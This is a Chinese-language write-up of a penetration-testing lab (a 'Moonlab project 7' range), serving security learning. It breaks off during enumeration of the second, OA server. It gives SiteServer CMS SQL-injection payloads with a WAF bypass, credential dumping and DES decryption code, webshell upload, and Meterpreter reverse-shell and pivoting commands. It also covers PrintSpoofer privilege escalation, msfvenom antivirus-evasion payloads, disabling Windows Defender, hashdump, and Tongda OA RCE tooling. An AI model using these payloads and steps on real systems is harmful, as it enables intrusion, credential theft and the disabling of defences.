内网渗透思路学习——靶场实战——暗月项目七

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

环境配置

靶场搭建

靶场地址: https://pan.baidu.com/s/12pSYxSU-ZmurQ9–GFiaXQ
提取码: 3p47

项目七靶场渗透最终目的:获得域控中的flag.txt文件中的内容
内网渗透思路学习——靶场实战——暗月项目七_第1张图片
项目七靶场环境是用 VMware Workstation 搭建,把环境文件下载后,用VMware Workstation 编辑虚拟网络编辑器即可正常访问。

  • WEB 服务器是双网卡

第一块网卡桥接 ip 段是 192.168.0.0/24
第二块网卡 vmnet18 10.10.1.0/24

  • oa 服务器

第一块网卡 vmnet18 10.10.1.0/24
第二块网卡 vmnet19 10.10.10.0/24

  • dc 域控

网卡 vmnet19 10.10.10.0/24

内网渗透思路学习——靶场实战——暗月项目七_第2张图片

网络拓扑图

内网渗透思路学习——靶场实战——暗月项目七_第3张图片

测试网络

外网

对于主机web服务器是无法ping通的、防火墙拦截了数据包,所以可以通过直接访问它的80端口,查看网络是否连通
内网渗透思路学习——靶场实战——暗月项目七_第4张图片
内网渗透思路学习——靶场实战——暗月项目七_第5张图片

内网

由于内网主机OA同样设置有防火墙所以web与oa之间不能ping通,同样可以通过访问80端口,查看连通状态
内网渗透思路学习——靶场实战——暗月项目七_第6张图片
由于dc没有设置防火墙,所以oa是可以直接ping通的
内网渗透思路学习——靶场实战——暗月项目七_第7张图片

信息收集

确认ip

使用netdiscover 探测内网

sudo netdiscover -i eth0 -r 192.168.0.0/24 

内网渗透思路学习——靶场实战——暗月项目七_第8张图片

192.168.0.114就是渗透对象
也可以使用nmap扫描

nmap -sP -PI -PT 192.168.0.0/24

内网渗透思路学习——靶场实战——暗月项目七_第9张图片

端口扫描

利用masscan与nmap联合加快扫描速度

masscan

因为服务器上安全防护软件 尽量把 rate 的值调低 ,调大可能会被封(如果被封20分钟后解封)

masscan -p 1-65535 192.168.0.114 --rate=100

内网渗透思路学习——靶场实战——暗月项目七_第10张图片

nmap

nmap -sV -p 3389,5985,6588,999,21,80 -A 192.168.0.114 -oA attack-ports

内网渗透思路学习——靶场实战——暗月项目七_第11张图片

这是对nmap扫描结果美化后的界面

美化参考文章
http://t.csdn.cn/hjHSQ

内网渗透思路学习——靶场实战——暗月项目七_第12张图片

绊定hosts域名

这个靶场 web 服务器的域名是 www.moonlab.com 在 hosts 绑定对应的 IP 方能访问 web 服务。

linux 系统 /etc/hosts
windows C:\Windows\System32\drivers\etc\hosts
192.168.0.114 www.moonlab.com

绑定后访问
内网渗透思路学习——靶场实战——暗月项目七_第13张图片

发现什么都没有显示,随便加了个index.php,发现网站存在安全狗
内网渗透思路学习——靶场实战——暗月项目七_第14张图片

whataweb查询网站的cms

whatweb www.moonlab.com

在这里插入图片描述
被WAF拦截了

目录扫描

由于已经知道有WAF存在,使用一般现有的扫描器都会被拦截
这里使用dirsearch开默认线程扫描会被拦截,所以将线程设置为1扫,但是并没有扫出有用的结果,基本都被WAF(安全狗)拦截返回200,还一个原因字典不够强大

python dirsearch.py  -u "www.moonlab.com" -t 1 -e*

内网渗透思路学习——靶场实战——暗月项目七_第15张图片
内网渗透思路学习——靶场实战——暗月项目七_第16张图片

去网上了解了扫描目录WAF(安全狗)绕过的方法:

  1. 降低请求频率,防止IP被ban
  2. 爬虫白名单绕过
  3. 代理池请求

WAF绕过参考文章:
https://www.freebuf.com/articles/web/288912.html
https://blog.csdn.net/weixin_50464560/article/details/120926097

这里由于一般扫描器都被拦截,就使用暗月师傅提供的文档里的一个目录遍历脚本,字典使用的是dirsearch自带的dicc.txt,脚本将结果输出为url.txt

#encoding:utf-8
from cgitb import reset
import requests
import sys
import time

# url = "http://www.moonlab.com"

with open ('dicc.txt','r',encoding='UTF-8') as readfile:
  for dirs in readfile.readlines():
    url = 'http://www.moonlab.com/'+dirs.strip('\n')
    resp = requests.get(url)
    strlen = len(resp.text)
    print(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen))
    #sys.exit()
    time.sleep(2)
    if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301:
      if str(strlen) !=  "2939":
        with open('url.txt','a',encoding='UTF-8') as writefile:
          writefile.write(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen)+'\n')

内网渗透思路学习——靶场实战——暗月项目七_第17张图片
内网渗透思路学习——靶场实战——暗月项目七_第18张图片

可以看到爆出了robots.txt文件,它的请求包返回长度为84,做到这里突然想起nmap扫描端口信息时有一个端口999开放的服务,由于本人学的很浅,这么敏感的信息没有第一时间发现利用
内网渗透思路学习——靶场实战——暗月项目七_第19张图片

关于robots.txt文件介绍
https://blog.csdn.net/google_SEO_yang/article/details/122380323

浏览器访问
内网渗透思路学习——靶场实战——暗月项目七_第20张图片

发现了三个后台地址,依次访问
http://www.moonlab.com/UserCenter/
内网渗透思路学习——靶场实战——暗月项目七_第21张图片

http://www.moonlab.com/SiteFiles/
内网渗透思路学习——靶场实战——暗月项目七_第22张图片

http://www.moonlab.com/siteserver/
内网渗透思路学习——靶场实战——暗月项目七_第23张图片

发现是个CMS的框架有管理员登录后台和用户登录且直接显示了版本信息

系统版本: 3.6.4
.NET 版本: 2.0
数据库: Microsoft SQL Server

ps:这里如果字典足够强大的话,可以直接扫出这个后台地址响应状态为500
在这里插入图片描述
内网渗透思路学习——靶场实战——暗月项目七_第24张图片

漏洞利用

漏洞查询

siteserver 曾经爆出过很多漏洞,而且当前的版本比较低,百度或谷歌搜索这个CMS版本可能存在的漏洞:
内网渗透思路学习——靶场实战——暗月项目七_第25张图片
内网渗透思路学习——靶场实战——暗月项目七_第26张图片

发现可能会存在sql注入和管理员密码重置漏洞

sql注入

POC验证

利用一些现有的poc来验证一下是否存在sql注入(如果使用一些漏洞扫描器,都会应恶意请求被WAF封掉)

https://github.com/w-digital-scanner/w9scan/tree/master/plugins/siteserver
https://github.com/hmoytx/WVS/tree/master/cmsscan/model/cms/siteserver

前者的2739.py将几个payload结合了一起扫,后者是分开的,但是这里我们只需利用其中的payload修改POC脚本,修改方法和之前目录扫描脚本方式一样,重新构造请求发送。

import requests

ps=[
        'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
        'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
        'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
        'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
        'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
        'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
        ]
for p in ps:
    url="http://www.moonlab.com/"+ps
    res = requests.get(url)
    if res.status_code==500 and "GAOJIMicrosoft" in res.text: #通过返回请求过滤所需的结果
      print(url+'\n')
      print('-------------------------------'+'\n')
      print(res.text)

内网渗透思路学习——靶场实战——暗月项目七_第27张图片

可以利用的payload

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
#url解码
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and char(71)+char(65)+char(79)+char(74)+char(73)+@@version=2; --

访问页面,可以看到是报错注入
内网渗透思路学习——靶场实战——暗月项目七_第28张图片

接下来尝试构造sql语句查询

  • 数据库版本信息
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and @@version=2; --

内网渗透思路学习——靶场实战——暗月项目七_第29张图片

  • 数据库名称
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=2; --

内网渗透思路学习——靶场实战——暗月项目七_第30张图片

WAF绕过

发现被WAF拦截了,去网上查找了一些sql注入绕过WAF的文章,尝试了一下,发现还是不行(太菜了),然后观看暗月师傅的视频里是采用了按位取反的方式成功绕过了WAF,即~

sql注入WAF绕过:
https://www.freebuf.com/articles/web/330731.html

在上面那个payload中的2前上加一个~,即可绕过

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=~2; --

内网渗透思路学习——靶场实战——暗月项目七_第31张图片

可以看到数据库名为

msmoonlab

  • 查询用户密码

知道了数据库名,接着需要了解一下siteserver的数据库表结构,这个我们已经知道了它的CMS信息,是可以在网上找到相关表结构的,或者可以将该CMS下载在本地查看,这里为了方便直接进入靶机查看一手
内网渗透思路学习——靶场实战——暗月项目七_第32张图片

siteserver数据库表结构信息:
https://blog.csdn.net/u011966339/article/details/72235648

可以看到administrator表中的几个关键字段

UserName 用户名
Password 密码
PasswordSalt 密钥

据此来构造sql查询语句,构造payload
#注意为了防止被WAF,每次只查询一个字段

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and select top 1 username  from [msmoonlab].[msmoonlab].[bairong_Administrator]=~2; --

内网渗透思路学习——靶场实战——暗月项目七_第33张图片

发现还是被WAF截掉,尝试将取反放在前面

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=select top 1 username  from [msmoonlab].[msmoonlab].[bairong_Administrator]; --

内网渗透思路学习——靶场实战——暗月项目七_第34张图片

可以看到成功绕过了WAF,但是报了select语法错误,给select语句加上一个括号

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 username  from [msmoonlab].[msmoonlab].[bairong_Administrator]); --

内网渗透思路学习——靶场实战——暗月项目七_第35张图片

成功绕过查到了用户名admin,继续查询密码、密钥

admin

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 password  from [msmoonlab].[msmoonlab].[bairong_Administrator]); --

内网渗透思路学习——靶场实战——暗月项目七_第36张图片

64Cic1ERUP9n2OzxuKl9Tw==

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 passwordsalt  from [msmoonlab].[msmoonlab].[bairong_Administrator]); --

内网渗透思路学习——靶场实战——暗月项目七_第37张图片

LIywB/zHFDTuEA1LU53Opg==

用户名 密码 密钥
admin 64Cic1ERUP9n2OzxuKl9Tw== LIywB/zHFDTuEA1LU53Opg==

DLL反编译

由于这一块不熟,直接按照暗月师傅的攻略来。
反编译 dll 主要用来查看网站的源码,这里主要是找到用户的加密方法。
siteserver/login.aspx 找到对应的 dll 文件位置
<%@ Page Language=“C#” Inherits=“UserCenter.Pages.LoginPage” %>
通过 dnSpy 反编译得到加密文件
内网渗透思路学习——靶场实战——暗月项目七_第38张图片

查询到密文的加密方式是 des 对称加密,加密函数如下

public void DesEncrypt()
{
    byte[] rgbIV = new byte[]
    {
        18,
        52,
        86,
        120,
        144,
        171,
        205,
        239
        };
    try
    {
        byte[] bytes =
            Encoding.UTF8.GetBytes((this.x39d9653625493ae8.Length > 8) ?
                                   this.x39d9653625493ae8.Substring(0, 8) : this.x39d9653625493ae8);
        DESCryptoServiceProvider descryptoServiceProvider = new
            DESCryptoServiceProvider();
        byte[] bytes2 = Encoding.UTF8.GetBytes(this.x3c811436980dcf17);
        MemoryStream memoryStream = new MemoryStream();
        CryptoStream cryptoStream = new CryptoStream(memoryStream,
                                                     descryptoServiceProvider.CreateEncryptor(bytes, rgbIV), CryptoStreamMode.Write);
        cryptoStream.Write(bytes2, 0, bytes2.Length);
        cryptoStream.FlushFinalBlock();
        if (!false)
        {
        }
        this.xc7d800b8a71773fd =
            Convert.ToBase64String(memoryStream.ToArray());
    }
    catch (Exception ex)
    {
        this.x456956327593d9f6 = ex.Message;
    }
}

解密函数:

public void DesDecrypt()
{
    byte[] rgbIV = new byte[]
    {
        18,
        52,
        86,
        120,
        144,
        171,
        205,
        239
        };
    byte[] array = new byte[this.x3c811436980dcf17.Length];
    try
    {
        byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(0, 8));
        DESCryptoServiceProvider descryptoServiceProvider = new
            DESCryptoServiceProvider();
        array = Convert.FromBase64String(this.x3c811436980dcf17);
        MemoryStream memoryStream = new MemoryStream();
        if (!false)
        {
        }
        CryptoStream cryptoStream = new CryptoStream(memoryStream,
                                                     descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
        cryptoStream.Write(array, 0, array.Length);
        cryptoStream.FlushFinalBlock();
        Encoding encoding = new UTF8Encoding();
        this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
    }
    catch (Exception ex)
    {
        this.x456956327593d9f6 = ex.Message;
    }
}
this.x456956327593d9f6

使用C#编写解密工具

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
namespace siteserver 明文解密工具
{
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    }
    public void DesDecrypt()
    {
    byte[] rgbIV = new byte[]
    {
    18,
    52,
    86,
    120,
    144,
    171,
    205,
    239
    };
    byte[] array = new byte[this.textBox1.Text.Length];
    try
    {
    byte[] bytes = Encoding.UTF8.GetBytes(this.textBox2.Text.Substring(0,
    8));
    DESCryptoServiceProvider descryptoServiceProvider = new
    DESCryptoServiceProvider();
    array = Convert.FromBase64String(this.textBox1.Text);
    MemoryStream memoryStream = new MemoryStream();
    if (!false)
    {
    }
    CryptoStream cryptoStream = new CryptoStream(memoryStream,
    descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
    cryptoStream.Write(array, 0, array.Length);
    cryptoStream.FlushFinalBlock();
    Encoding encoding = new UTF8Encoding();
    this.textBox3.Text = encoding.GetString(memoryStream.ToArray());
    }
    catch (Exception ex)
    {
    this.textBox4.Text = ex.Message;
    }
    }
    private void button1_Click(object sender, EventArgs e)
    {
    DesDecrypt();
    }
    }
}

在这里插入图片描述

admin5566

密码重置漏洞

在寻找这个CMS漏洞中发现可能会存在管理员密码重置漏洞

参考文章:
https://cloud.tencent.com/developer/article/1472287

先进入管理员登录界面,点击忘记密码
在这里插入图片描述

输入刚刚获取的管理员用户名admin,点击下一步,进入回答问题界面,随便输入,然后使用burp suite抓包
内网渗透思路学习——靶场实战——暗月项目七_第39张图片
内网渗透思路学习——靶场实战——暗月项目七_第40张图片

将答案设置为空
内网渗透思路学习——靶场实战——暗月项目七_第41张图片

然后放包,此时回到浏览器界面可以看到明文密码被爆出来了,和刚刚解密出来的密文一致,nice!!!!!
内网渗透思路学习——靶场实战——暗月项目七_第42张图片

文件上传漏洞

寻找上传点

上一步成功获取了管理员用户名和密码,登录后台,寻找 文件上传点

admin
admin5566

在内容模型模块找到几个上传点,上传一些过狗马和压缩包都给WAF拦截了或者报上传错误,只能继续寻找
内网渗透思路学习——靶场实战——暗月项目七_第43张图片

在网上搜索到管理员后台getshell的方法,试了一种可行,另外两种就没试了,感兴趣可以试一下

siteserver CMS getshell;
http://t.csdn.cn/jesf4

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
内网渗透思路学习——靶场实战——暗月项目七_第44张图片

上传webshell

这里直接在下面写入aspx一句话木马最好是过狗马,这里我使用的是冰蝎自带的aspx,没被WAF,输入完点击确定,返回模板管理
内网渗透思路学习——靶场实战——暗月项目七_第45张图片
内网渗透思路学习——靶场实战——暗月项目七_第46张图片

点击生成的文件名,会跳转到该文件位置

http://www.moonlab.com/.aspx

内网渗透思路学习——靶场实战——暗月项目七_第47张图片

getshell

复制地址尝试用冰蝎连接
内网渗透思路学习——靶场实战——暗月项目七_第48张图片

没想到成功连上了,没被WAF杀掉,奥利给!!!!!
内网渗透思路学习——靶场实战——暗月项目七_第49张图片

方法二

我看暗月师傅的视频和文档里利用的不是这个上传点,是
系统管理-》站点模板管理-》导入站点模板,这里我也尝试了一下,是直接上传压缩包
内网渗透思路学习——靶场实战——暗月项目七_第50张图片

导入压缩好的冰蝎马,点击确定
内网渗透思路学习——靶场实战——暗月项目七_第51张图片

然后我就遇到问题了,这里确定后啥页面没显示,也没被WAF拦截,应该是上传成功了,但是这个页面没有任何新的东西显示,不知道上传到哪去了,不知道文件路径,然后一时间不知道该怎么办,看暗月师傅视频里,他是直接进入靶机里面查看的。emmmmmm
不过在经过一番寻找后我发现了系统管理下面有一个站点文件管理,点进去查看,发现是整个网站目录,nice!!!!

#这里也给大家一些提示就是,还可以去网上搜索该CMS的目录结构,和前面数据库时一样,或者有时间有条件可以把CMS下载到本地去查看

内网渗透思路学习——靶场实战——暗月项目七_第52张图片

经过一番查找之后发现刚刚上传的压缩包在SiteFiles->SiteTemplates下,并且已经解压了,接下来就好办了
内网渗透思路学习——靶场实战——暗月项目七_第53张图片

打开shell文件夹,点击里面的shell.apsx直接跳转到文件地址
内网渗透思路学习——靶场实战——暗月项目七_第54张图片

发现界面和刚刚一样,感觉有戏:

http://www.moonlab.com/SiteFiles/SiteTemplates/shell/shell.aspx

内网渗透思路学习——靶场实战——暗月项目七_第55张图片

直接上冰蝎连接,连接成功,奥利给
内网渗透思路学习——靶场实战——暗月项目七_第56张图片

这里我都是使用冰蝎马上传的,且没被WAF拦截,不过也去了解了一些过狗马的思路和方法
文件上传绕过WAF:
https://blog.csdn.net/qq_50854790/article/details/123691985

WEB服务器信息收集

前面成功getshell,使用冰蝎执行命令,收集信息

用户信息

whoami /all

内网渗透思路学习——靶场实战——暗月项目七_第57张图片

SeImpersonatePrivilege 身份验证后模拟客户端 已启用 这个服务能够帮助我们提权

系统信息

systeminfo

内网渗透思路学习——靶场实战——暗月项目七_第58张图片
内网渗透思路学习——靶场实战——暗月项目七_第59张图片

IP

ipconfig /all

内网渗透思路学习——靶场实战——暗月项目七_第60张图片
内网渗透思路学习——靶场实战——暗月项目七_第61张图片

可以看到两块网卡信息,划重点

Ethernet0:192.168.0.114
Ethernet1:10.10.1.131

开放的端口

netstat -ano

内网渗透思路学习——靶场实战——暗月项目七_第62张图片

开启的服务

net start

内网渗透思路学习——靶场实战——暗月项目七_第63张图片

内网渗透思路学习——靶场实战——暗月项目七_第64张图片

存在的防护服务

safedog 安全狗
Defender win自带的杀毒
firewall 防火墙

可以利用的服务

MySQL 提权
SQLserver 提权
Print Spooler 打印机服务提权

开启的进程

tasklist

内网渗透思路学习——靶场实战——暗月项目七_第65张图片

内网渗透思路学习——靶场实战——暗月项目七_第66张图片

信息整理

  • web 服务器有双网卡
  • 两个 ip 分别是192.168.0.114和 10.10.1.131 ,发现了新网段 10.10.1.0/24
  • 当前是 普通用户权限
  • 服务器有 WAF,windows defender 等防护措施

代理穿透

反弹shell

这一步其实可以不用操作,作为不是很大,但是我的主要目的是为了多学习,所以多实践了一下。
直接利用冰蝎提供的反弹shell模块联合MSF反弹shell,话不多说,开干
内网渗透思路学习——靶场实战——暗月项目七_第67张图片

接着打开kali的msf,执行下列命令

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
show options
expolit

内网渗透思路学习——靶场实战——暗月项目七_第68张图片

开启监听,回到冰蝎点击给我连
内网渗透思路学习——靶场实战——暗月项目七_第69张图片

隧道代理

添加路由:

查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.1.0/24
查看添加的路由表信息
run autoroute -p

添加代理
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 5555
run

内网渗透思路学习——靶场实战——暗月项目七_第70张图片

设置本地代理文件配置

我kali是这个文件
vim /etc/proxychains4.conf
一般都是
vim /etc/proxychains.conf

内网渗透思路学习——靶场实战——暗月项目七_第71张图片

#测试一下是否成功

proxychains4 curl 10.10.1.130

内网渗透思路学习——靶场实战——暗月项目七_第72张图片

成功访问

转CS

msf与cs互传shell
https://blog.csdn.net/qq_44159028/article/details/124278770

先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中

设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.10   //cs主机地址
set LPORT 6060    //随意设置监听端口,需要和cs保持一致
set session 1    //设置需要派送的meterpreter
set DisablePayloadHandler true    //禁止产生一个新的handler
run

内网渗透思路学习——靶场实战——暗月项目七_第73张图片

内网渗透思路学习——靶场实战——暗月项目七_第74张图片

权限提升

PrintSpoofer 提权

去网上搜索了一些windows的提权思路,本意是为了多学习点东西,这里所使用的是CVE-2022-21999 Windows Print Spooler(打印服务),由于存在WAF和防火墙,还要注意免杀处理

Windows server-2016 print提权
https://blog.csdn.net/hackzkaq/article/details/124882702
https://blog.csdn.net/weixin_46944519/article/details/123602625

工具下载地址
https://github.com/itm4n/PrintSpoofer

将下载的程序上传至C:/Windows/Temp/
#这里我们得到的shell的用户权限是很小的、打开的终端也是不能查看文件切换目录的、所以我们在上传文件的时候要注意上传到最小用户也能读能执行的目录下、和Linux一样需要上传到Temp目录
内网渗透思路学习——靶场实战——暗月项目七_第75张图片

切换到虚拟终端执行程序

PrintSpoofer64.exe -h

内网渗透思路学习——靶场实战——暗月项目七_第76张图片

查看权限是否提升

PrintSpoofer64.exe -i -c "whoami"

内网渗透思路学习——靶场实战——暗月项目七_第77张图片

当前权限是 system 服务器上装有多个防护 服务器安全狗,增加用户会被拦截。最好是直接上远控,但是 windows server 2016 自带杀defender 远控或者shellode 都会被查杀,所以要做免杀处理。

免杀处理

制作免杀payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=2333 -e x86/shikata_ga_nai -i 20 -f c -o payload.txt

内网渗透思路学习——靶场实战——暗月项目七_第78张图片

复制payload.txt里面的内容
内网渗透思路学习——靶场实战——暗月项目七_第79张图片

使用工具进行shellcode编译

工具地址
https://github.com/1y0n/AV_Evasion_Tool

内网渗透思路学习——靶场实战——暗月项目七_第80张图片

被火狐给查杀了,但还是抱着试一下的心态看能不能行
内网渗透思路学习——靶场实战——暗月项目七_第81张图片

上传生成的免杀notepad.exe
内网渗透思路学习——靶场实战——暗月项目七_第82张图片

上传成功,没被杀掉,感觉有戏

MSF监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2333
exploit -j

内网渗透思路学习——靶场实战——暗月项目七_第83张图片

得到session

用刚刚执行管理员权限去运行免杀程序

PrintSpoofer64.exe -i -c "notepad.exe"

内网渗透思路学习——靶场实战——暗月项目七_第84张图片

可以看到成功得到session,查看权限
内网渗透思路学习——靶场实战——暗月项目七_第85张图片

寻找一个系统进程和管理员进程进行迁移
内网渗透思路学习——靶场实战——暗月项目七_第86张图片

在这里插入图片描述

哦豁,刚迁移完进程就被windows defender查杀了,难受了
内网渗透思路学习——靶场实战——暗月项目七_第87张图片

关windows defender

这里看了暗月师傅里的视频,也是同样如此,他重新启动靶机,更改攻击载荷后成功又得到了session,但是我感觉还是不是很稳妥,参考一篇大佬的文章思路是:既然绕过不杀软、为何不直接将它杀了,然后利用了这个工具

https://github.com/APTortellini/DefenderSwitch

下载下来后,直接上传
内网渗透思路学习——靶场实战——暗月项目七_第88张图片

然后利用printspoofer漏洞获取一个system的执行DefenderSwitch.exe

PrintSpoofer64.exe -i -c "DefenderSwitch.exe -off"

内网渗透思路学习——靶场实战——暗月项目七_第89张图片

内网渗透思路学习——靶场实战——暗月项目七_第90张图片
可以看到windows defender service被关闭了,接下来就好办了,重复刚刚得到session的步骤

再次监听获取session

内网渗透思路学习——靶场实战——暗月项目七_第91张图片
内网渗透思路学习——靶场实战——暗月项目七_第92张图片
因为我是另外开的一个kali-shell窗口,所以session变为了1
内网渗透思路学习——靶场实战——暗月项目七_第93张图片

迁移进程

再次寻找一个系统进程和管理员进程进行迁移
内网渗透思路学习——靶场实战——暗月项目七_第94张图片
这次就没东西可杀了,哈哈哈哈

转CS

注意要查看一下隧道代理是否还在,然后和上面步骤一样

先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中

设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.10   //cs主机地址
set LPORT 6060    //随意设置监听端口,需要和cs保持一致
set session 1    //设置需要派送的meterpreter
set DisablePayloadHandler true    //禁止产生一个新的handler
run

内网渗透思路学习——靶场实战——暗月项目七_第95张图片

内网信息收集

获取密码hash明文

可以直接通过cs来获取管理员密码

hashdump
logonpasswords

administrator
!@#QWE123

cs使用参考
http://wiki.tidesec.com/docs/cs

内网渗透思路学习——靶场实战——暗月项目七_第96张图片
当然还可以直接在msf中mimikatz破解hash来获取账户密码,但是我测试有点问题没有一直纠结它,直接hashdump,然后md5解密。

mimikatz使用教程
https://blog.csdn.net/weixin_40412037/article/details/113348310

load kiwi //加载kiwi模块
help kiwi //查看帮助

内网渗透思路学习——靶场实战——暗月项目七_第97张图片

hashdump

内网渗透思路学习——靶场实战——暗月项目七_第98张图片
内网渗透思路学习——靶场实战——暗月项目七_第99张图片
这里还可以使用hashcat工具来破解明文密码,这里我就没列举实验了

hashcat简单使用
https://blog.csdn.net/SHIGUANGTUJING/article/details/90074614

远程桌面登录

内网渗透思路学习——靶场实战——暗月项目七_第100张图片
遇到点问题:
内网渗透思路学习——靶场实战——暗月项目七_第101张图片
解决:
内网渗透思路学习——靶场实战——暗月项目七_第102张图片

重新连接
内网渗透思路学习——靶场实战——暗月项目七_第103张图片

关闭WAF

清除痕迹、关闭安全狗、Windows Defeder在前面我们已经完全的关闭了

跨网段信息收集

查看arp信息

arp -a

内网渗透思路学习——靶场实战——暗月项目七_第104张图片
可以看到10.10.1.0网段有一台130主机,本机是131,进一步确认

IP扫描

arp_scanner

使用msf的自带得arp扫描,之前操作已经做了代理穿透

run arp_scanner -r 10.10.1.0/24

image.png

nmap

这里不推荐使用nmap扫描ip,慢慢慢慢!!!!

proxychains nmap -sT -Pn 10.10.1.0/24

确认内网目标

10.10.1.130

端口扫描

masscan

proxychains masscan -p 1-65535 10.10.1.130 --rate=500

内网渗透思路学习——靶场实战——暗月项目七_第105张图片

nmap

nmap扫最好指定一些常用端口,不然效率太低了

proxychains nmap -sT -Pn 10.10.1.130  -p
80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984 ,6379,7001,7002,9200,
9300 ,11211,27017,27018 ,50000,50070,50030,21,22,23,2601,3389 --open

内网渗透思路学习——靶场实战——暗月项目七_第106张图片
可以看到只能扫到80端口开放,应该做了端口访问控制。
访问80端口,可以看到又是一个CMS:通达OA

漏洞利用

通达OA文件上传

前面成功访问了第二台主机的80端口,发现使用的是通达OACMS,去百度了一下,发现这个cms有很多漏洞,其中就包含文件上传文件包含,并且都能getshel,由于我的目的是为了getshell,继续渗透,就没有过多去复现通达OA的各种漏洞,过后有时间可以再来玩玩。

通达OA漏洞详情:
https://jishuin.proginn.com/p/763bfbd5a77f
https://lorexxar.cn/2021/03/03/tongda11-7rce/
https://xz.aliyun.com/t/7433

网上有很多现成的RCE利用工具,可以直接利用getshell

工具地址;
https://github.com/Al1ex/TongDa-RCE
https://github.com/xinyu2428/TDOA_RCE

RCE

python tongda_rce.py http://10.10.1.130/

内网渗透思路学习——靶场实战——暗月项目七_第107张图片
可以看到RCE成功,为系统权限,看看脚本源码,执行的是whoami
内网渗透思路学习——靶场实战——暗月项目七_第108张图片

getshell

python tongda_shell.py http://10.10.1.130/

内网渗透思路学习——靶场实战——暗月项目七_第109张图片
内网渗透思路学习——靶场实战——暗月项目七_第110张图片
内网渗透思路学习——靶场实战——暗月项目七_第111张图片
这个shell应该被安全软件查杀了,所以得将脚本里的webshell进行base64编码,以多种姿态去绕过查杀,下面是另一个RCE-getshell的工具
内网渗透思路学习——靶场实战——暗月项目七_第112张图片
可以看到地址响应状态是200,
内网渗透思路学习——靶场实战——暗月项目七_第113张图片

然后使用蚁剑连接,这里由于已经做了socks代理,所以是能直接连接的
内网渗透思路学习——靶场实战——暗月项目七_第114张图片
可以看到连接成功,进入到webroot目录下能看到上传的shell
内网渗透思路学习——靶场实战——暗月项目七_第115张图片
可以看到是系统权限,不用再进行提权操作了
内网渗透思路学习——靶场实战——暗月项目七_第116张图片

OA服务器信息收集

用户信息

whoami /all

内网渗透思路学习——靶场实战——暗月项目七_第117张图片

系统信息

systeminfo

内网渗透思路学习——靶场实战——暗月项目七_第118张图片
可以看到OA服务器所处在的域

attack.local

IP

ipconfig

内网渗透思路学习——靶场实战——暗月项目七_第119张图片
可以有两块网卡信息,划重点

Ethernet0:10.10.1.10
Ethernet1:10.10.10.166

开放的端口

netstat -ano

内网渗透思路学习——靶场实战——暗月项目七_第120张图片
